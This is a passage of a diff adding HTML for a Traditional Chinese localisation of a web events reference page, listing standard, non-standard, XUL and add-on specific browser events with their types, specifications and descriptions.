+   <td>An <a href="/zh-TW/docs/SVG">SVG</a> document has been removed from a window or frame.</td>
+  </tr>
+  <tr>
+   <td>{{event("SVGZoom")}}</td>
+   <td>{{domxref("SVGZoomEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>An <a href="/zh-TW/docs/SVG">SVG</a> document is being zoomed.</td>
+  </tr>
+  <tr>
+   <td>{{event("timeout")}}</td>
+   <td>{{domxref("ProgressEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-timeout">XMLHttpRequest</a></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{event("timeupdate")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-timeupdate">HTML5 media</a></td>
+   <td>The time indicated by the <code>currentTime</code> attribute has been updated.</td>
+  </tr>
+  <tr>
+   <td>{{event("touchcancel")}}</td>
+   <td>{{domxref("TouchEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/touch-events/">Touch Events</a></td>
+   <td>A touch point has been disrupted in an implementation-specific manners (too many touch points for example).</td>
+  </tr>
+  <tr>
+   <td>{{event("touchend")}}</td>
+   <td>{{domxref("TouchEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/touch-events/#the-touchend-event">Touch Events</a></td>
+   <td>A touch point is removed from the touch surface.</td>
+  </tr>
+  <tr>
+   <td>{{event("touchenter")}}</td>
+   <td>{{domxref("TouchEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/touch-events/">Touch Events</a> Removed</td>
+   <td>A touch point is moved onto the interactive area of an element.</td>
+  </tr>
+  <tr>
+   <td>{{event("touchleave")}}</td>
+   <td>{{domxref("TouchEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/touch-events/">Touch Events</a> Removed</td>
+   <td>A touch point is moved off the interactive area of an element.</td>
+  </tr>
+  <tr>
+   <td>{{event("touchmove")}}</td>
+   <td>{{domxref("TouchEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/touch-events/#the-touchmove-event">Touch Events</a></td>
+   <td>A touch point is moved along the touch surface.</td>
+  </tr>
+  <tr>
+   <td>{{event("touchstart")}}</td>
+   <td>{{domxref("TouchEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/touch-events/#the-touchstart---------event">Touch Events</a></td>
+   <td>A touch point is placed on the touch surface.</td>
+  </tr>
+  <tr>
+   <td>{{event("transitionend")}}</td>
+   <td>{{domxref("TransitionEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/css3-transitions/#transition-events">CSS Transitions</a></td>
+   <td>A <a href="/zh-TW/docs/CSS/CSS_transitions">CSS transition</a> has completed.</td>
+  </tr>
+  <tr>
+   <td>{{event("unload")}}</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-unload">DOM L3</a></td>
+   <td>The document or a dependent resource is being unloaded.</td>
+  </tr>
+  <tr>
+   <td>{{event("updateready")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://dev.w3.org/html5/spec/offline.html">Offline</a></td>
+   <td>The resources listed in the manifest have been newly redownloaded, and the script can use <code>swapCache()</code> to switch to the new cache.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/zh-TW/docs/Web/Reference/Events/upgradeneeded_indexedDB">upgradeneeded</a></code></td>
+   <td></td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/IndexedDB/#request-api">IndexedDB</a></td>
+   <td>An attempt was made to open a database with a version number higher than its current version. A <code>versionchange</code> transaction has been created.</td>
+  </tr>
+  <tr>
+   <td>{{event("userproximity")}}</td>
+   <td>{{domxref("SensorEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="https://dvcs.w3.org/hg/dap/raw-file/tip/proximity/Overview.html">Sensor</a></td>
+   <td>Fresh data is available from a proximity sensor (indicates whether the nearby object is <code>near</code> the device or not).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/zh-TW/docs/Web/Reference/Events/versionchange_indexedDB">versionchange</a></code></td>
+   <td></td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/IndexedDB/#database-interface">IndexedDB</a></td>
+   <td>A <code>versionchange</code> transaction completed.</td>
+  </tr>
+  <tr>
+   <td>{{event("visibilitychange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/page-visibility/#sec-visibilitychange-event">Page visibility</a></td>
+   <td>The content of a tab has become visible or has been hidden.</td>
+  </tr>
+  <tr>
+   <td>{{event("volumechange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-volumechange">HTML5 media</a></td>
+   <td>The volume has changed.</td>
+  </tr>
+  <tr>
+   <td>{{event("waiting")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-waiting">HTML5 media</a></td>
+   <td>Playback has stopped because of a temporary lack of data.</td>
+  </tr>
+  <tr>
+   <td>{{event("wheel")}} {{gecko_minversion_inline("17")}}</td>
+   <td>{{domxref("WheelEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-wheel">DOM L3</a></td>
+   <td>A wheel button of a pointing device is rotated in any direction.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="非標準事件">非標準事件</h2>
+
+<table class="standard-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <th class="header" style="width: 220px;">事件名稱</th>
+   <th class="header" style="width: 90px;">事件類型</th>
+   <th class="header" style="width: 100px;">規範</th>
+   <th class="header">觸發時機</th>
+  </tr>
+  <tr>
+   <td>{{event("afterscriptexecute")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td><em>Mozilla Specific</em></td>
+   <td>A script has been executed.</td>
+  </tr>
+  <tr>
+   <td>{{event("beforescriptexecute")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td><em>Mozilla Specific</em></td>
+   <td>A script is about to be executed.</td>
+  </tr>
+  <tr>
+   <td>{{event("cardstatechange")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The {{domxref("MozMobileConnection.cardState")}} property changes value.</td>
+  </tr>
+  <tr>
+   <td>{{event("connectionInfoUpdate")}}</td>
+   <td></td>
+   <td><a href="http://mxr.mozilla.org/mozilla-central/source/dom/wifi/nsIWifi.idl?rev=3e586802f478#176"><em>Firefox OS specific</em></a></td>
+   <td>The informations about the signal strength and the link speed have been updated.</td>
+  </tr>
+  <tr>
+   <td>{{event("cfstatechange")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The call forwarding state changes.</td>
+  </tr>
+  <tr>
+   <td>{{event("datachange")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The {{domxref("MozMobileConnection.data")}} object changes values.</td>
+  </tr>
+  <tr>
+   <td>{{event("dataerror")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The {{domxref("MozMobileConnection.data")}} object receive an error from the <abbr title="Radio Interface Layer">RIL</abbr>.</td>
+  </tr>
+  <tr>
+   <td>{{event("DOMMouseScroll")}} {{deprecated_inline}}</td>
+   <td></td>
+   <td><em>Mozilla specific</em></td>
+   <td>The wheel button of a pointing device is rotated (detail attribute is a number of lines). (use {{event("wheel")}} instead)</td>
+  </tr>
+  <tr>
+   <td><code>dragdrop</code> {{deprecated_inline}}</td>
+   <td><code>DragEvent</code></td>
+   <td><em>Mozilla specific</em></td>
+   <td>An element is dropped (use {{event("drop")}} instead).</td>
+  </tr>
+  <tr>
+   <td><code>dragexit</code> {{deprecated_inline}}</td>
+   <td><code>DragEvent</code></td>
+   <td><em>Mozilla specific</em></td>
+   <td>A drag operation is being ended(use {{event("dragend")}} instead).</td>
+  </tr>
+  <tr>
+   <td><code>draggesture</code> {{deprecated_inline}}</td>
+   <td><code>DragEvent</code></td>
+   <td><em>Mozilla specific</em></td>
+   <td>The user starts dragging an element or text selection (use {{event("dragstart")}} instead).</td>
+  </tr>
+  <tr>
+   <td>{{event("icccardlockerror")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>the {{domxref("MozMobileConnection.unlockCardLock()")}} or {{domxref("MozMobileConnection.setCardLock()")}} methods fails.</td>
+  </tr>
+  <tr>
+   <td>{{event("iccinfochange")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The {{domxref("MozMobileConnection.iccInfo")}} object changes.</td>
+  </tr>
+  <tr>
+   <td>{{event("localized")}}</td>
+   <td></td>
+   <td><em><a href="https://github.com/fabi1cazenave/webL10n">Mozilla Specific</a></em></td>
+   <td>The page has been localized using data-l10n-* attributes.</td>
+  </tr>
+  <tr>
+   <td>{{event("mousewheel")}} {{deprecated_inline}}</td>
+   <td></td>
+   <td><a href="http://msdn.microsoft.com/zh-TW/library/ie/ms536951%28v=vs.85%29.aspx"><em>IE invented</em></a></td>
+   <td>The wheel button of a pointing device is rotated.</td>
+  </tr>
+  <tr>
+   <td>{{event("MozAudioAvailable")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td><em>Mozilla specific</em></td>
+   <td>The audio buffer is full and the corresponding raw samples are available.</td>
+  </tr>
+  <tr>
+   <td>{{event("MozGamepadAxisMove")}}</td>
+   <td></td>
+   <td><em>To be specified</em></td>
+   <td>A gampad axis is moving.</td>
+  </tr>
+  <tr>
+   <td>{{event("MozGamepadButtonDown")}}</td>
+   <td></td>
+   <td><em>To be specified</em></td>
+   <td>A gamepad button is pressed down.</td>
+  </tr>
+  <tr>
+   <td>{{event("MozGamepadButtonUp")}}</td>
+   <td></td>
+   <td><em>To be specified</em></td>
+   <td>A gamepad button is released.</td>
+  </tr>
+  <tr>
+   <td>{{event("MozMousePixelScroll")}} {{deprecated_inline}}</td>
+   <td></td>
+   <td><em>Mozilla specific</em></td>
+   <td>The wheel button of a pointing device is rotated (detail attribute is a number of pixels). (use wheel instead)</td>
+  </tr>
+  <tr>
+   <td>{{event("MozOrientation")}} {{deprecated_inline}}</td>
+   <td></td>
+   <td><em>Mozilla specific</em></td>
+   <td>Fresh data is available from an orientation sensor (see deviceorientation).</td>
+  </tr>
+  <tr>
+   <td>{{event("MozScrolledAreaChanged")}}</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td><em>Mozilla specific</em></td>
+   <td>The document view has been scrolled or resized.</td>
+  </tr>
+  <tr>
+   <td>{{event("moztimechange")}}</td>
+   <td></td>
+   <td><em>Mozilla specific</em></td>
+   <td>The time of the device has been changed.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/DOM/Touch_events_(Mozilla_experimental)">MozTouchDown</a> {{deprecated_inline}}</td>
+   <td></td>
+   <td><em>Mozilla specific</em></td>
+   <td>A touch point is placed on the touch surface (use touchstart instead).</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/DOM/Touch_events_(Mozilla_experimental)">MozTouchMove</a> {{deprecated_inline}}</td>
+   <td></td>
+   <td><em>Mozilla specific</em></td>
+   <td>A touch point is moved along the touch surface (use touchmove instead).</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/DOM/Touch_events_(Mozilla_experimental)">MozTouchUp</a> {{deprecated_inline}}</td>
+   <td></td>
+   <td><em>Mozilla specific</em></td>
+   <td>A touch point is removed from the touch surface (use touchend instead).</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/DOM/onalerting">onalerting</a></td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>The correspondent is being alerted (his/her phone is ringing).</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/DOM/onbusy">onbusy</a></td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>The line of the correspondent is busy.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/DOM/oncallschanged">oncallschanged</a></td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call has been added or removed from the list of current calls.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/DOM/onconnected">onconnected</a></td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call has been connected.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/DOM/onconnecting">onconnecting</a></td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call is about to connect.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/DOM/ondelivered">ondelivered</a></td>
+   <td>{{domxref("SMSEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>An SMS has been successfully delivered.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/DOM/ondialing">ondialing</a></td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>The number of a correspondent has been dialed.</td>
+  </tr>
+  <tr>
+   <td>{{event("ondisabled")}}</td>
+   <td></td>
+   <td><a href="http://mxr.mozilla.org/mozilla-central/source/dom/wifi/nsIWifi.idl?rev=3e586802f478#182"><em>Firefox OS specific</em></a></td>
+   <td>Wifi has been disabled on the device.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/DOM/ondisconnected">ondisconnected</a></td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call has been disconnected.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/DOM/ondisconnecting">ondisconnecting</a></td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call is about to disconnect.</td>
+  </tr>
+  <tr>
+   <td>{{event("onenabled")}}</td>
+   <td></td>
+   <td><a href="http://mxr.mozilla.org/mozilla-central/source/dom/wifi/nsIWifi.idl?rev=3e586802f478#182"><em>Firefox OS specific</em></a></td>
+   <td>Wifi has been enabled on the device.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/DOM/onerror_call_event">onerror</a></td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>An error occurred.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/DOM/onheld">onheld</a></td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call has been held.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/DOM/onholding">onholding</a></td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call is about to be held.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/DOM/onincoming">onincoming</a></td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call is being received.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/DOM/onreceived">onreceived</a></td>
+   <td>{{domxref("SMSEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>An SMS has been received.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/DOM/onresuming">onresuming</a></td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call is about to resume.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/DOM/onsent">onsent</a></td>
+   <td>{{domxref("SMSEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>An SMS has been sent.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/DOM/onstatechange">onstatechange</a></td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>The state of a call has changed.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/onstatusChange">onstatuschange</a></td>
+   <td></td>
+   <td><a href="http://mxr.mozilla.org/mozilla-central/source/dom/wifi/nsIWifi.idl?rev=3e586802f478#156"><em>Firefox OS specific</em></a></td>
+   <td>The status of the Wifi connection changed.</td>
+  </tr>
+  <tr>
+   <td>{{event("overflow")}}</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td><em>Mozilla specific</em></td>
+   <td>An element has been overflowed by its content or has been rendered for the first time in this state (only works for elements styled with <code>overflow</code> != <code>visible</code>).</td>
+  </tr>
+  <tr>
+   <td>{{event("smartcard-insert")}}</td>
+   <td></td>
+   <td><em>Mozilla specific</em></td>
+   <td>A <a href="/zh-TW/docs/JavaScript_crypto">smartcard</a> has been inserted.</td>
+  </tr>
+  <tr>
+   <td>{{event("smartcard-remove")}}</td>
+   <td></td>
+   <td><em>Mozilla specific</em></td>
+   <td>A <a href="/zh-TW/docs/JavaScript_crypto">smartcard</a> has been removed.</td>
+  </tr>
+  <tr>
+   <td>{{event("stkcommand")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The <abbr title="SIM Application Toolkit">STK</abbr> Proactive Command is issued from <abbr title="Integrated Circuit Card">ICC</abbr>.</td>
+  </tr>
+  <tr>
+   <td>{{event("stksessionend")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The <abbr title="SIM Application Toolkit">STK</abbr> Session is terminated by <abbr title="Integrated Circuit Card">ICC</abbr>.</td>
+  </tr>
+  <tr>
+   <td><code>text</code></td>
+   <td></td>
+   <td><em>Mozilla Specific</em></td>
+   <td>A generic composition event occurred.</td>
+  </tr>
+  <tr>
+   <td>{{event("underflow")}}"</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td><em>Mozilla specific</em></td>
+   <td>An element is no longer overflowed by its content (only works for elements styled with <code>overflow</code> != <code>visible</code>).</td>
+  </tr>
+  <tr>
+   <td><code>uploadprogress</code> {{deprecated_inline}}</td>
+   <td>{{domxref("ProgressEvent")}}</td>
+   <td><em>Mozilla Specific</em></td>
+   <td>Upload is in progress (see {{event("progress")}}).</td>
+  </tr>
+  <tr>
+   <td>{{event("ussdreceived")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>A new <abbr title="Unstructured Supplementary Service Data">USSD</abbr> message is received</td>
+  </tr>
+  <tr>
+   <td>{{event("voicechange")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The {{domxref("MozMobileConnection.voice")}} object changes values.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Mozilla_專屬事件">Mozilla 專屬事件</h2>
+
+<div class="note">
+<p><strong>Note:</strong> 以下事件從未在網頁上觸發。它們僅在能在 chrome content context 上使用。</p>
+</div>
+
+<h3 id="XUL_事件">XUL 事件</h3>
+
+<table class="standard-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <th class="header" style="width: 220px;">事件名稱</th>
+   <th class="header" style="width: 90px;">事件類型</th>
+   <th class="header" style="width: 100px;">規範</th>
+   <th class="header">觸發時機</th>
+  </tr>
+  <tr>
+   <td>{{event("broadcast")}}</td>
+   <td></td>
+   <td><a href="/zh-TW/docs/XUL/Tutorial/Broadcasters_and_Observers#Broadcast_event">XUL</a></td>
+   <td>An <code>observer</code> noticed a change to the attributes of a watched broadcaster.</td>
+  </tr>
+  <tr>
+   <td>{{event("CheckboxStateChange")}}</td>
+   <td></td>
+   <td>XUL</td>
+   <td>The state of a <code>checkbox</code> has been changed either by a user action or by a script (useful for accessibility).</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/close_event">close</a></td>
+   <td></td>
+   <td>XUL</td>
+   <td>The close button of the window has been clicked.</td>
+  </tr>
+  <tr>
+   <td>{{event("command")}}</td>
+   <td></td>
+   <td>XUL</td>
+   <td>An element has been activated.</td>
+  </tr>
+  <tr>
+   <td>{{event("commandupdate")}}</td>
+   <td></td>
+   <td>XUL</td>
+   <td>A command update occurred on a <code>commandset</code> element.</td>
+  </tr>
+  <tr>
+   <td>{{event("DOMMenuItemActive")}}</td>
+   <td></td>
+   <td>XUL</td>
+   <td>A menu or menuitem has been hovered or highlighted.</td>
+  </tr>
+  <tr>
+   <td>{{event("DOMMenuItemInactive")}}</td>
+   <td></td>
+   <td><em>XUL</em></td>
+   <td>A menu or menuitem is no longer hovered or highlighted.</td>
+  </tr>
+  <tr>
+   <td>{{event("popuphidden")}}</td>
+   <td><code>PopupEvent</code></td>
+   <td><a href="/zh-TW/docs/XUL/PopupGuide/PopupEvents"><em>XUL</em></a></td>
+   <td>A menupopup, panel or tooltip has been hidden.</td>
+  </tr>
+  <tr>
+   <td>{{event("popuphiding")}}</td>
+   <td><code>PopupEvent</code></td>
+   <td><a href="/zh-TW/docs/XUL/PopupGuide/PopupEvents"><em>XUL</em></a></td>
+   <td>A menupopup, panel or tooltip is about to be hidden.</td>
+  </tr>
+  <tr>
+   <td>{{event("popupshowing")}}</td>
+   <td><code>PopupEvent</code></td>
+   <td><a href="/zh-TW/docs/XUL/PopupGuide/PopupEvents"><em>XUL</em></a></td>
+   <td>A menupopup, panel or tooltip is about to become visible.</td>
+  </tr>
+  <tr>
+   <td>{{event("popupshown")}}</td>
+   <td><code>PopupEvent</code></td>
+   <td><a href="/zh-TW/docs/XUL/PopupGuide/PopupEvents"><em>XUL</em></a></td>
+   <td>A menupopup, panel or tooltip has become visible.</td>
+  </tr>
+  <tr>
+   <td>{{event("RadioStateChange")}}</td>
+   <td></td>
+   <td>XUL</td>
+   <td>The state of a <code>radio</code> has been changed either by a user action or by a script (useful for accessibility).</td>
+  </tr>
+  <tr>
+   <td>{{event("ValueChange")}}</td>
+   <td></td>
+   <td>XUL</td>
+   <td>The value of an element has changed (a progress bar for example, useful for accessibility).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="附加元件專屬事件">附加元件專屬事件</h3>
+
+<table class="standard-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <th class="header" style="width: 220px;">事件名稱</th>
+   <th class="header" style="width: 90px;">事件類型</th>
+   <th class="header" style="width: 100px;">規範</th>
+   <th class="header">觸發時機</th>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/MozSwipeGesture">MozSwipeGesture</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A touch point is swiped across the touch surface</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/MozMagnifyGestureStart">MozMagnifyGestureStart</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Two touch points start to move away from each other.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/MozMagnifyGestureUpdate">MozMagnifyGestureUpdate</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Two touch points move away from each other (after a MozMagnifyGestureStart).</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/MozMagnifyGesture">MozMagnifyGesture</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Two touch points moved away from each other (after a sequence of MozMagnifyGestureUpdate).</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/MozRotateGestureStart">MozRotateGestureStart</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Two touch points start to rotate around a point.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/MozRotateGestureUpdate">MozRotateGestureUpdate</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Two touch points rotate around a point (after a MozRotateGestureStart).</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/MozRotateGesture">MozRotateGesture</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Two touch points rotate around a point (after a sequence of MozRotateGestureUpdate).</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/MozTapGesture">MozTapGesture</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Two touch points are tapped on the touch surface.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/MozPressTapGesture">MozPressTapGesture</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A "press-tap" gesture happened on the touch surface (first finger down, second finger down, second finger up, first finger up).</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/MozEdgeUIGesture">MozEdgeUIGesture</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A touch point is swiped across the touch surface to invoke the edge UI (Win8 only).</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/MozAfterPaint">MozAfterPaint</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Content has been repainted.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/MozBeforeResize">MozBeforeResize</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A window is about to be resized.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/DOMPopupBlocked">DOMPopupBlocked</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A popup has been blocked</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/DOMWindowCreated">DOMWindowCreated</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A window has been created.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/DOMWindowClose">DOMWindowClose</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A window is about to be closed.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/DOMTitleChanged">DOMTitleChanged</a></td>
+   <td></td>
+   <td><em>Addons specifc</em></td>
+   <td>The title of a window has changed.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/DOMLinkAdded">DOMLinkAdded</a></td>
+   <td></td>
+   <td><em>Addons specifc</em></td>
+   <td>A link has been added a document.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/DOMLinkRemoved">DOMLinkRemoved</a></td>
+   <td></td>
+   <td><em>Addons specifc</em></td>
+   <td>A link has been removed inside from a document.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/DOMMetaAdded">DOMMetaAdded</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A <code>meta</code> element has been added to a document.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/DOMMetaRemoved">DOMMetaRemoved</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A <code>meta</code> element has been removed from a document.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/DOMWillOpenModalDialog">DOMWillOpenModalDialog</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A modal dialog is about to open.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/DOMModalDialogClosed">DOMModalDialogClosed</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A modal dialog has been closed.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/DOMAutoComplete">DOMAutoComplete</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>The content of an element has been auto-completed.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/DOMFrameContentLoaded">DOMFrameContentLoaded</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>The frame has finished loading (but not its dependent resources).</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/AlertActive">AlertActive</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A <code><a href="/zh-TW/docs/XUL/notification">notification</a></code> element is shown.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/AlertClose">AlertClose</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A <code><a href="/zh-TW/docs/XUL/notification">notification</a></code> element is closed.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/fullscreen">fullscreen</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Browser fullscreen mode has been entered or left.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/sizemodechange">sizemodechange</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Window has entered/left fullscreen mode, or has been minimized/unminimized.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/MozEnteredDomFullscreen">MozEnteredDomFullscreen</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td><a href="/zh-TW/docs/DOM/Using_full-screen_mode">DOM fullscreen</a> mode has been entered.</td>
+  </tr>
+  <tr>
+   <td><a href="/zh-TW/docs/Web/Reference/Events/SSWindowClosing">SSWindowClosing</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
